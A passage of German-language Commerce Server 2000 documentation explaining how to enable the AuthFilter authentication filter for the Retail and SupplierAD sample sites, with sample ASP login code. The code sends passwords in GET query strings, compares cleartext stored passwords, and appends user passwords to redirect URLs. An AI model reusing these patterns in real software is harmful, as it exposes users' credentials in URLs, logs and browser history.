  8. Das Kennwort des Benutzers wird aus dem Profil ausgelesen und an die Anforderungszeichenfolge für den gewünschten URL zusammen mit der Benutzer-ID angefügt. Das Kennwort muss in Klartext vorliegen. Weitere Informationen zur Verwendung von Klartextkennwörtern finden Sie unter Klartextkennwörter.
  9. Der Benutzer wird auf den angeforderten URL umgeleitet. Nachdem AuthFilter von IIS über dieses Ereignis benachrichtigt wurde, entfernt AuthFilter Benutzer-ID und Kennwort aus der Anforderungszeichenfolge und speichert diese im Cache.
  10. Wenn der Browser die Anforderung erneut übergibt, überprüft AuthFilter den Cache, findet den entsprechenden Eintrag und überprüft, ob das Zeitfenster zu diesem Zeitpunkt abgelaufen ist.
  11. Wenn die aktuelle Zeit innerhalb des Zeitfensters liegt, setzt AuthFilter die Benutzer-ID und das Kennwort für die Anforderung und gibt die Weiterverarbeitung frei.
  12. Wenn der Benutzer über Zugriffsrechte für den angeforderten URL verfügt, wird dieser verarbeitet und von IIS zurückgegeben.

Hinweis

  • Bei der benutzerdefinierten Authentifizierung wir der Kennwortcache nicht verwendet. Deshalb wird eine an einen anderen Server umgeleitete Anforderung von AuthFilter auf diesem Server lediglich auf das Vorhandensein eines gültigen MSCSAuth-Tickets überprüft. Falls ein gültiges Ticket vorhanden ist, wird die Anforderung für die Weiterverarbeitung freigegeben, andernfalls auf die Seite Login.asp umgeleitet.


AuthFilter und die Retail-Lösungssite

In diesem Abschnitt finden Sie eine schrittweise Anleitung zum Aktivieren von AuthFilter für die Retail-Lösungssite. Dazu gehört Beispielcode für die Seite login.asp, der zum Aktivieren von AuthFilter für die Retail-Lösungssite benötigt wird, sowie wichtige szenariospezifische Information.

Dieser Abschnitt beinhaltet folgende Themen:

  • Aktivieren von AuthFilter für die Retail-Lösungssite
  • Wichtige Informationen über AuthFilter für die Retail-Lösungssite
  • "Login.asp"-Code für die Retail-Lösungssite


Aktivieren von AuthFilter für die Retail-Lösungssite

Hinweise

  • Bevor Sie diese Schritte durchführen, sollten Sie die Hinweise unter Wichtige Informationen über AuthFilter für die Retail-Lösungssite lesen.
  • Informationen zur Datei Login.asp für AuthFilter für die Retail-Lösungssite finden Sie unter "Login.asp"-Code für die Retail-Lösungssite.

So aktivieren Sie AuthFilter in der Retail-Lösungssite

  1. Verwenden Sie Commerce Server Site Packager, um die Retail-Lösungssite zu entpacken.
  2. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  3. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  4. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Authentifizierungsfilter entweder die Option Windows-Authentifizierung oder Benutzerdefinierte Authentifizierung. Klicken Sie anschließend auf OK.
  5. Verwenden Sie den Editor, um Authfiles\Login.asp für die Site Retail zu öffnen.
  6. Stellen Sie in der Datei Login.asp sicher, dass Sie die unter Retail\Login\Login.asp vorhandenen Dateien per include eingebunden haben und der Code mit dem Beispiel übereinstimmt. Beispielcode, mit dem Sie eine Überprüfung durchführen können, finden Sie unter "Login.asp"-Code für die Retail-Lösungssite.
  7. Speichern und schließen Sie die aktualisierte Seite Login.asp.
  8. Erstellen Sie mithilfe des Moduls "Benutzer" in Commerce Server Business Desk einen neuen Benutzer für die Site Retail. Informationen hierzu finden Sie unter Hinzufügen eines Benutzerprofils.
  9. Navigieren Sie im Internet Explorer zu http://<computername>/Retail.

Geben Sie auf der Anmeldeseite Ihren Benutzernamen und das Kennwort ein, wenn Sie ein registrierter Benutzer sind, oder registrieren Sie sich, indem Sie auf die Verknüpfung im unteren Bereich der Seite klicken.

Die Seite Login.asp setzt das MSCSAuth-Ticket für registrierte Benutzer, ruft das entsprechende Benutzerprofil ab und füllt die Webseite anhand der empfangenen Profilinformationen auf.

Wenn das Profil nicht gefunden werden kann, wird die Seite Login.asp mit einer Fehlermeldung und den beiden Anmeldeoptionen erneut angezeigt. Falls der Benutzername oder das Kennwort nicht gültig sind, wird Login.asp erneut, jedoch ohne Fehlermeldung angezeigt. Um Ihrer Website eine Registrierungsseite oder eine Seite für neue Benutzer auf der Grundlage von AuthFilter hinzuzufügen, befolgen Sie die Anweisungen zu Login.asp.

Siehe auch

Wichtige Informationen über AuthFilter für die Retail-Lösungssite

"Login.asp"-Code für die Retail-Lösungssite


Wichtige Informationen über AuthFilter für die Retail-Lösungssite

  • Wenn Sie eine Site in das Stammverzeichnis von IIS entpacken und AuthFilter aktiviert ist, müssen Sie das für die Anwendungsebene gültige Eigenschaften-Kontrollkästchen Pfad des Cookies zur Anwendung festlegen deaktivieren. Diese Eigenschaft stellt die in den Cookies eingestellte path-Eigenschaft dar. In der Standardeinstellung ist das Flag aktiviert, damit die Eigenschaft auf das virtuelle Verzeichnis der Site (z. B. /retail) festgelegt wird. Wenn Sie das Kontrollkästchen deaktivieren, wird die path-Eigenschaft für die Cookies auf das Stammverzeichnis (/) gesetzt. Nachdem Sie diese Eigenschaft aktualisiert haben, müssen Sie IIS neu starten. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.
  • Stellen Sie sicher, das für alle von Login.asp verwendeten Include- und GIF-Dateien sowie anderen unterstützenden Dateien Anonymer Zugriff verwendet wird.
  • Bei der Windows-Authentifizierung wird beim Absenden der Anmeldeinformationen auf der Standardanmeldeseite die GET-Aktion verwendet. Login.asp unterstützt auch die POST-Aktion. Wenn Sie Informationen zur Unterstützung von POST benötigen, lesen Sie die Kommentare in der Datei Login.asp und befolgen Sie die Anweisungen.
  • Bei Verwendung von GET in Login.asp besteht ein bekanntes Sicherheitsproblem. Besucher Ihrer Site sollten darauf hingewiesen werden, ihren Browser so einzustellen, dass der Verlauf nach dem Abmelden von der Site automatisch geleert wird, oder den Verlauf manuell selbst zu leeren.
  • Bei der Windows-Authentifizierung werden die folgenden Servervariablen nicht gesetzt: AUTH_USER und AUTH_TYPE. Die Servervariable LOGON_USER wird auf die für die Anmeldung verwendete Benutzer-ID gesetzt.
  • Um SSL (Secure Sockets Layer) verwenden zu können, müssen Sie in CS-Authentifizierung die Eigenschaft Anmeldeformular auf den vollständigen Pfad setzen. Anweisungen finden Sie unter Konfigurieren der CS-Authentifizierungsressource.
  • Wenn Sie AuthFilter nach dem Deaktivieren erneut aktivieren möchten, müssen Sie die Sicherheitseinstellungen für Internetinformationsdienste (IIS) 5.0 manuell neu konfigurieren. Anweisungen hierzu finden Sie in der Dokumentation zu IIS 5.0.
  • Nachdem Sie einen Eigenschaftswert für die CS-Authentifizierung im Commerce Server-Manager geändert haben, müssen Sie die Commerce-Anwendungen aus den Speichern aller Webserver entfernen, damit die Änderungen wirksam werden. Anweisungen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

Siehe auch

Hinzufügen eines Benutzerprofils

"Login.asp"-Code für die Retail-Lösungssite

"Login.asp"-Code für die Supplier-Lösungssite

Entfernen einer Anwendung aus dem Speicher

Konfigurieren der CS-Authentifizierungsressource


"Login.asp"-Code für die Retail-Lösungssite

Im Folgenden finden Sie den Code für die Seite Login.asp für die Retail-Lösungssite. Wenn Sie AuthFilter für die Site Retail verwenden möchten, müssen Sie diesen Code für die Datei Login.asp in Ihrer Site verwenden. Weitere Informationen finden Sie unter Aktivieren von AuthFilter für die Retail-Lösungssite.

<!-- #INCLUDE FILE="../include/header.asp" -->
<!-- #INCLUDE FILE="../include/const.asp" -->
<!-- #INCLUDE FILE="../include/html_lib.asp" -->
<!-- #INCLUDE FILE="../include/form_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_access_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_profile_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_cookie_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_url_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_util_lib.asp" -->
<!-- #INCLUDE FILE="../include/setupenv.asp" -->
<!-- #INCLUDE FILE="../template/no_menu.asp" -->

<%
REM sample file for using with AuthFilter
REM This file handles Login for user
%>

<%

   Sub Main()
   End Sub

   Dim strSelect, strUsername, strPassword, strPWD, retAsp
   dim objAuth
   Dim strAuthErr, strSiteName, sUserID

   set objAuth = Server.CreateObject("Commerce.AuthManager")
   strSiteName = CStr(Application("MSCSCommerceSiteName"))
   objAuth.Initialize(strSiteName)

   'Get the hidden variable to determine if this is the first run of the page
   strSelect = Request.Querystring("realSubmit")

   'If users pressed the submit button
   if strSelect = "fromButton" then
      'authenticate the user
      strUsername = Request.Querystring("txtUsername")
      strPassword = Request.Querystring("txtPassword")

         if (strUsername = "") or (strPassword = "") then
            Response.Redirect "Login.asp"
         end If

         Set mscsUserProfile = GetUserProfileByLoginName(strUsername)
         if (mscsUserProfile is nothing) then
            Response.Redirect "Login.asp"
         end if

         if (mscsUserProfile.Fields("GeneralInfo.user_security_password").Value = strPassword) then
            sUserID = mscsUserProfile.Fields(GetQualifiedName(GENERAL_INFO_GROUP, FIELD_USER_ID)).Value
            ' for Custom/NT Auth
            objAuth.SetAuthTicket sUserID, 1, 90

            ' Go to the Original requested ASP which is stored in cookie MSCSFirstRequestedURL"
            retAsp = Request.Cookies("MSCSFirstRequestedURL")
            if (retAsp = "" Or IsNUll(retAsp)) then
            retAsp = objAuth.GetURL("default.asp", True, False)
            end if
            Response.Redirect retAsp
         else
            Response.Redirect "Login.asp"
         end if
   else
      PrintLogin
   End if
%>

<%Sub PrintLogin() %>
<HTML>
<HEAD>
<TITLE>Login</TITLE>
</HEAD>
<BODY>
<FORM NAME="frmLogin" ACTION="Login.asp" METHOD="GET">
<br>
<br>
<br>
<H2 ID=L_LoginForm_HTMLText>CS2K-LoginForm</H2><ID Id=L_EnterCredential_ErrorMessage>
To access authenticated content, please enter your UserID & Password</ID>
<br>
<br>
<br>

<H3 ID=L_UserName_HTMLText>Username:<INPUT TYPE="text" NAME="txtUsername" SIZE=32 MAXLENGTH=32><br><ID ID=L_UserPassword_HTMLText>
Password :</ID><INPUT TYPE="password" NAME="txtPassword" SIZE=32 MAXLENGTH=32></H3><br>
<br>

<INPUT type=HIDDEN name="realSubmit" value="fromButton">
<p align="left">
   <input type="submit" name="action" id=L_Submit_Button value="Submit">
   <input type="reset" name="action" id=L_Reset_Button value="Reset">
</p>
</FORM>

<H4>
<br>
<br>
<%
REM SOLUTION SITES: Retail
REM    need to add own registration file under '\AuthFiles\' sub-Dir Or Copy ..\Retail\login\newuser.asp to '\AuthFiles\newuser.asp'
REM    in global.asa update: dictPages.NewUser = "AuthFiles/newuser.asp"
REM
%>
<A HRef="newuser.asp" ID=L_RegisterIf_HTMLText>Register if you are a new user
   (solution sites: need to add own registration file under '\AuthFiles\' sub-Dir Or Copy ..\Retail\login\newuser.asp & update NewUser-File in Global.asa)</A>
<br>
</H4>

</BODY>
</HTML>
<%end sub%>

Siehe auch

Aktivieren von AuthFilter für die Retail-Lösungssite


AuthFilter und die SupplierAD-Lösungssite

In diesem Abschnitt finden Sie eine schrittweise Anleitung zum Aktivieren von AuthFilter für die SupplierAD-Lösungssite. Dazu gehört Beispielcode für die Seite login.asp, der zum Aktivieren von AuthFilter für die SupplierAD-Lösungssite benötigt wird, sowie wichtige szenariospezifische Information.

Dieser Abschnitt beinhaltet folgende Themen:

  • Aktivieren von AuthFilter für die Supplier-Lösungssite
  • Wichtige Informationen über AuthFilter für die Supplier-Lösungssite
  • "Login.asp"-Code für die Supplier-Lösungssite


Aktivieren von AuthFilter für die Supplier-Lösungssite

Hinweise

  • Bevor Sie diese Schritte durchführen, sollten Sie die Hinweise unter Wichtige Informationen über AuthFilter für die Supplier-Lösungssite lesen.
  • Informationen zur Datei Login.asp für AuthFilter für die Supplier-Lösungssite finden Sie unter "Login.asp"-Code für die Supplier-Lösungssite.

Um die Supplier-Lösungssite mit AuthFilter im Windows-Authentifizierungsmodus verwenden zu können, müssen Sie den Sicherheitsmodus auf dem Domänencontroller für lokale Anmeldung einstellen. Anweisungen hierzu finden Sie unter Einstellen des Sicherheitsmodus auf dem Domänencontroller

In der Supplier-Lösungssite sollte nur die Standardauthentifizierung aktiviert sein. Verändern Sie keine der weiteren Sicherheitseinstellungen. Weitere Informationen finden Sie in der IIS-Onlinehilfe.

Für den AuthFiles-Unterordner und alle in ihm enthaltenen Seiten sollte der anonyme Zugriff aktiviert sein.

Wenn der Domänencontroller und der Webserver auf verschiedenen Computern in derselben Domäne installiert sind, muss AuthFilter über ein anonymes Konto auf dem Webserver verfügen, damit die Methode ProfileService.GetUserProfileByKey() von jedem Profil/Benutzer auf der Anmeldeseite erfolgreich angewendet werden kann.

Standardmäßig heißt ein anonymes Benutzerkonto IUSR_<servername>. Im Internetdienste-Manager verfügt IUSR_<servername> nicht über ausreichende Zugriffsberechtigungen, um die Methode in diesem Szenario erfolgreich auszuführen. Wenn Ihr Webserver und Ihr Domänencontrollerserver nicht identisch sind, müssen Sie ein Benutzerkonto aus dieser Domäne als anonymes Konto hinzufügen. Erstellen Sie dazu zunächst in der Domäne ein Benutzerkonto, das Lesezugriff auf Benutzereigenschaften in Active Directory hat. Verwenden Sie dann auf dem Webserver den IIS-Manager, um für den AuthFiles-Unterordner und alle seine Dateien dasselbe Benutzerkonto als anonymes Konto einzurichten.

So aktivieren Sie AuthFilter in der Supplier-Lösungssite

  1. Verwenden Sie Commerce Server Site Packager, um die Supplier-Lösungssite zu entpacken.
  2. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  3. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  4. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Authentifizierungsfilter entweder die Option Windows-Authentifizierung oder Benutzerdefinierte Authentifizierung. Klicken Sie anschließend auf OK.
  5. Erweitern Sie Internetinformationsdienste, klicken Sie mit der rechten Maustaste auf die Site Supplier, und klicken Sie anschließend auf Eigenschaften.
  6. Klicken Sie im Dialogfeld Eigenschaften auf der Registerkarte Verzeichnissicherheit im Bereich Steuerung des anonymen Zugriffs und der Authentifizierung auf Bearbeiten.
  7. Deaktivieren Sie im Dialogfeld Authentifizierungsmethoden das Kontrollkästchen Integrierte Windows-Authentifizierung.

    Hinweis

    • In der Supplier-Lösungssite sollte nur die Standardauthentifizierung aktiviert sein. Verändern Sie keine der weiteren Sicherheitseinstellungen.
  8. Verwenden Sie den Editor, um Authfiles\Login.asp für die Site Supplier zu öffnen.
  9. Wenn Sie eine Webfarm verwenden bzw. Unterstützung für Proxykonten benötigen, aktualisieren Sie in Login.asp den Code, sodass er dem Code entspricht, der unter "Login.asp"-Code für die Supplier-Lösungssite angegeben ist.
    Wichtig
    • Wenn es sich um einen einzelnen Server handelt, der keine Unterstützung für Proxykonten benötigt, müssen Sie Login.asp nicht aktualisieren.
  10. Ändern Sie für die Windows-Authentifizierung die Methode GetUserInfo() in \SupplierAD\include\Std_access_lib.asp folgendermaßen:
Sub GetUserInfo()
    Dim sAuthUser, mscsUser
    Dim aName

    If dictConfig.i_DelegatedAdminOptions = DELEGATED_ADMIN_SUPPORTED Then
       sAuthUser = LoginName(Request.ServerVariables("LOGON_USER"))
Else
       sAuthUser = ""
End If

        Rem Integrated Windows and basic auth take precedence over HTML form auth
        If sAuthUser <> "" Then
            m_UserAccessType = IIS_AUTH ' BASIC_AUTH
            m_UserType = AUTH_USER
            Set mscsUser = GetUserProfileByLoginName(sAuthUser)
            If mscsUser Is Nothing Then
               m_UserID = ""
            Else
               m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
            End If
        Else
            If mscsAuthMgr.IsAuthenticated() Then
              sAuthUser = mscsAuthMgr.GetUserID(AUTH_TICKET)
              Set mscsUser = GetUserProfileByLoginName(sAuthUser)
                If mscsUser Is Nothing Then
                   m_UserID = ""
                Else
                  m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
                End If
              m_UserAccessType = TICKET_AUTH
              m_UserType = AUTH_USER
            Else
                If Not IsNull(mscsAuthMgr.GetUserID(GUEST_TICKET)) Then
                   m_UserID = mscsAuthMgr.GetUserID(GUEST_TICKET)
                   m_UserAccessType = GUEST_VISIT
                   m_UserType = GUEST_USER
                Else
                   m_UserID = ""
                   m_UserAccessType = ANON_VISIT
                   m_UserType = ANON_USER
                End If
            End If
        End If
End Sub

  Function LoginName(ByVal sUserName)
    Dim aName

    If (sUserName = "") Then
      Exit Function
    End IF
    aName = Split (sUserName, "\")
    LoginName = aName(UBound(aName))
  End Function
  1. Ändern Sie für die Windows-Authentifizierung in der Methode PrepareLoginSection in \SupplierAD\template\menu.asp den Code einer Zeichenfolge Request.ServerVariables so, dass er nicht auf die Servervariable AUTH_USER, sondern auf die Servervariable LOGON_USER verweist. Zum Beispiel:

    Vorher: sAuthUser = Request.ServerVariables("AUTH_USER")

    Nachher: sAuthUser = Request.ServerVariables("LOGON_USER")

  2. Speichern und schließen Sie die aktualisierten Seiten Login.asp und Menu.asp.
  3. Verwenden Sie Business Desk zum Erstellen eines neuen Benutzers für die Site Supplier.
    Wichtig
    • Sie müssen eine Organisation erstellen, bevor Sie der Site Benutzer hinzufügen bzw. neue Benutzer für diese erstellen.
  4. Navigieren Sie mit Internet Explorer zu http://Computername/SupplierAD.
  5. Geben Sie auf der Anmeldeseite den Benutzernamen ein, und verwenden Sie dabei das Format Domänenname\Benutzer-ID oder das UPN-Format (User Principal Name). (Sie können Logik zu Login.asp hinzufügen, um Benutzer-ID bzw. Namen zu erweitern).

    Hinweis

    • Wenn Sie über ein partitioniertes Active Directory/SQL Server-Benutzerprofil verfügen, geben Sie auf der Anmeldeseite lediglich <benutzername>@ ein, wobei <benutzername> Ihrer Benutzer-ID entspricht. In diesem Szenario löst AuthFilter den Domänennamen aus dem Benutzernamen auf.
  6. Geben Sie auf der Anmeldeseite Ihr Kennwort ein, wenn Sie ein registrierter Benutzer sind, oder registrieren Sie sich, indem Sie auf die Verknüpfung im unteren Bereich der Seite klicken. (Sie müssen eine eigene Registrierungsseite hinzufügen, auf der Sie Konten für Active Directory erstellen können.)

Die Seite Login.asp setzt das MSCSAuth-Ticket für den registrierten Benutzer, ruft das Benutzerprofil ab und überprüft ggf. die Anmeldeinformationen. Durch die Anforderung wird die Webseite mit den angeforderten Informationen aufgefüllt.

Wenn der Benutzername oder das Kennwort ungültig ist oder das Profil nicht gefunden werden konnte, wird die Login.asp-Seite mit einer Fehlermeldung und den beiden Anmeldeoptionen erneut angezeigt.


Wichtige Informationen über AuthFilter für die Supplier-Lösungssite

  • Wenn Sie eine Site in das Stammverzeichnis von IIS entpacken und AuthFilter aktiviert ist, müssen Sie das für die Anwendungsebene gültige Eigenschaften-Kontrollkästchen Pfad des Cookies zur Anwendung festlegen deaktivieren. Diese Eigenschaft stellt die in den Cookies eingestellte path-Eigenschaft dar. In der Standardeinstellung ist das Flag aktiviert, damit die Eigenschaft auf das virtuelle Verzeichnis der Site (z. B. /retail) festgelegt wird. Wenn Sie das Kontrollkästchen deaktivieren, wird die path-Eigenschaft für die Cookies auf das Stammverzeichnis (/) gesetzt. Nachdem Sie diese Eigenschaft aktualisiert haben, müssen Sie IIS mit dem Befehl net start w3svc neu starten. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.
  • Stellen Sie sicher, das für alle von Login.asp verwendeten Include- und GIF-Dateien sowie anderen unterstützenden Dateien Anonymer Zugriff verwendet wird.
  • Bei der Windows-Authentifizierung wird beim Absenden der Anmeldeinformationen auf der Standardanmeldeseite die GET-Aktion verwendet. Login.asp unterstützt auch die POST-Aktion. Wenn Sie Informationen zur Unterstützung von POST benötigen, lesen Sie die Kommentare in der Datei Login.asp und befolgen Sie die Anweisungen.
  • Bei Verwendung von GET in Login.asp besteht ein bekanntes Sicherheitsproblem. Besucher Ihrer Site sollten darauf hingewiesen werden, ihren Browser so einzustellen, dass der Verlauf nach dem Abmelden von der Site automatisch geleert wird, oder den Verlauf manuell selbst zu leeren.
  • Bei der Windows-Authentifizierung werden die folgenden Servervariablen nicht gesetzt: AUTH_USER und AUTH_TYPE. Die Servervariable LOGON_USER wird auf die für die Anmeldung verwendete Benutzer-ID gesetzt.
  • Um SSL (Secure Sockets Layer) verwenden zu können, müssen Sie in CS-Authentifizierung die Eigenschaft Anmeldeformular auf den vollständigen Pfad setzen. Anweisungen finden Sie unter Konfigurieren der CS-Authentifizierungsressource.

Siehe auch

"Login.asp"-Code für die Supplier-Lösungssite

Neustarten von IIS und Commerce Server-Diensten


"Login.asp"-Code für die Supplier-Lösungssite

Im Folgenden finden Sie den Code für die Seite Login.asp für die Supplier-Lösungssite. Diese modifizierte Version von Login.asp wird nur dann benötigt, wenn der Domänencontroller von der Commerce Server-Installation getrennt ist. Dieser Code wird in anderen Szenarien nicht benötigt. Wenn Sie diese Version von Login.asp in einer Einzelcomputerkonfiguration verwenden, wird die Anmeldeaufforderung zwei Mal aufgerufen; Benutzer müssen sich dann also zwei Mal anmelden.

Weitere Informationen finden Sie unter Aktivieren von AuthFilter für die Supplier-Lösungssite

<!-- #INCLUDE FILE="../include/header.asp" -->
<!-- #INCLUDE FILE="../include/const.asp" -->
<!-- #INCLUDE FILE="../include/html_lib.asp" -->
<!-- #INCLUDE FILE="../include/form_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_access_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_profile_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_cookie_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_url_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_util_lib.asp" -->
<!-- #INCLUDE FILE="../include/setupenv.asp" -->
<!-- #INCLUDE FILE="../template/no_menu.asp" -->

<%
REM sample file for using with AuthFilter
REM This file handles Login for user
%>

<%

   Sub Main()
   End Sub

   Dim strSelect, strUserName, strPassword, strPasswordTest, strPWD, strRetAsp, sAuthUser
   dim objAuth, objMSCSProfileObj
   Dim strAuthErr, strSiteName, sUserID

   ' AuthManager : Create & Initialize
   set objAuth = Server.CreateObject("Commerce.AuthManager")
   strSiteName = CStr(Application("MSCSCommerceSiteName"))  ' Get SiteName
   objAuth.Initialize(strSiteName)

   'Get the hidden variable to determine if this is the first run of the page
   strSelect = Request.Querystring("realSubmit")

   'If users pressed the submit button
   if strSelect = "fromButton" then

      'authenticate the user
      strUserName = Request.Querystring("txtUsername")
      strPassword = Request.Querystring("txtPassword")

         if (strUserName = "") or (strPassword = "") then
            Response.Redirect "Login.asp"
         end If

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: start
         '   To get Proxy-Account
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' For Proxy-Account usage: you may need to update 'strUserName' && 'strPassword', which you may get from Profile
         '   Or some other similar way ...
         ' if password-available:   if (objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value = strPassword) then
         ' sUserID = objMSCSProfileObj.Fields(GetQualifiedName(GENERAL_INFO_GROUP, FIELD_USER_ID)).Value
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: end
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PASSWORD: start
         '   To get Clear-Text-Password:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         sAuthUser = LoginName(strUserName)   ' as per profile-schema we need to filter DomainName here. 'strUserName' is in format: Domain\UserLoginID
         Set objMSCSProfileObj = GetUserProfileByLoginName(sAuthUser)
         if (objMSCSProfileObj is nothing) then
            Response.Redirect "Login.asp"
         end if
         ' if password-available: in clear-text for Proxy-Account
         ' strPasswordTest = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("user_security_password") ' objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value
         Set objMSCSProfileObj = Nothing

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' End Of getting Clear-Text password
         ' $PASSWORD: End
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' for Custom/NT Auth
            ' if password-available: in clear-text for Proxy-Account
            ' if (strPasswordTest = strPassword) then
            objAuth.SetAuthTicket strUserName, 1, 90
            ' Else
            '   Response.Redirect "Login.asp"
            ' EndIF

            ' Go to the Original requested ASP which is stored in cookie "MSCSFirstRequestedURL" & the following is required for a POST in Login instead of GET(by default)
            strRetAsp = Request.Cookies("MSCSFirstRequestedURL")   'retAsp = "..\default.asp"    '  (or) use: Request.Cookies("MSCSFirstRequestedURL") &  First requested URL (even if there is no QueryString this URL ciontains '?' at the end
            strRetAsp = strRetAsp + "&proxyuser="               ' make sure the QS-separator '?' is added by filter
            strRetAsp = strRetAsp + strUserName
            strRetAsp = strRetAsp + "&proxypwd="            ' Password
            strRetAsp = strRetAsp + strPassword

            if (strRetAsp = "" Or IsNUll(strRetAsp)) then
               strRetAsp = objAuth.GetURL("default.asp", True, False, Array("proxyuser", "proxypwd"), Array(strUserName, strPassword))
            end if

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' Distributed-Denial-Of-Service Attack (DDoS)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' this is to avoid DDos Attacks with known User login ID
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' Set objGenID =  Server.CreateObject("Commerce.GenID") '$PERF: store one in Application scope in GLOBAL.ASA, Application("MSCSAuthGenID")
            ' strGUID = objGenID.GenGUIDString
            '
            ' objAuth.SetProperty 2, "guid", strGUID ' after setting Ticket
            ' strRetAsp = strRetAsp + "&guid="
            ' strRetAsp = strRetAsp + strGUID
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

            Response.Redirect strRetAsp
   else
      if objAuth.IsAuthenticated(30) Then      ' for Web-Farm scenario <valid-Auth-Ticket Exist, but not cached in Filter>
         strUserName = objAuth.GetUserID(2)   ' Get LoginID <only in case of AD-Site>
         if (strUserName = "") or (IsNull(strUserName)) then
            Response.Redirect "Login.asp"
         end If
         sAuthUser = LoginName(strUserName)   ' as per profile-schema we need to filter DomainName here. 'strUserName' is in format: Domain\UserLoginID

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: start
         '   To get Proxy-Account
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' For Proxy-Account usage: you may need to update 'strUserName' && 'strPassword', which you may get from Profile
         '   Or some other similar way ...
         ' if password-available:   if (objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value = strPassword) then
         ' sUserID = objMSCSProfileObj.Fields(GetQualifiedName(GENERAL_INFO_GROUP, FIELD_USER_ID)).Value
 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: end
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PASSWORD: start
         '   To get Clear-Text-Password:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         Set objMSCSProfileObj = GetUserProfileByLoginName(sAuthUser)   ' Helper method from SupplierAD solution-site
         if (objMSCSProfileObj is nothing) then
            Response.Redirect "Login.asp"
         end if
         ' if password-available: in clear-text <same for proxy-account-scenario>
         strPassword = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("user_security_password") ' objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value
         'strPassword = "password"   ' if PWD not avalable & for test purposes only
         Set objMSCSProfileObj = Nothing
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' End Of getting Clear-Text password
         ' $PASSWORD: End
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

         strRetAsp = Request.Cookies("MSCSFirstRequestedURL") '  (or) use: "../default.asp"
         strRetAsp = strRetAsp + "&proxyuser="               ' make sure the QS-separator '?' is added by filter
         strRetAsp = strRetAsp + strUserName
         strRetAsp = strRetAsp + "&proxypwd="               ' Password
         strRetAsp = strRetAsp + strPassword

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' Distributed-Denial-Of-Service Attack (DDoS)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' this is to avoid DDoS Attacks with known User login ID
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' strGUID = objAuth.GetProperty(2, "guid")   ' if this exists, you need to pass this also on Query string
            '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' If Not IsNull(strGUID) Then
            '    strRetAsp = strRetAsp + "&guid="
            '    strRetAsp = strRetAsp + strGUID
            ' End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

         Response.Redirect strRetAsp
      Else
         PrintLogin
      End If
   End if

   Set objAuth = Nothing
%>

<%Sub PrintLogin() %>
<HTML>
<HEAD>
<TITLE>Login</TITLE>
</HEAD>
<BODY>
<FORM NAME="frmLogin" ACTION="Login.asp" METHOD="GET">
<br>
<br>
<br>
<H2 ID=L_LoginForm_HTMLText>CS2K-LoginForm</H2><ID Id=L_EnterCredential_ErrorMessage>
To access authenticated content, please enter your UserID & Password</ID>
<br>
<br>
<br>

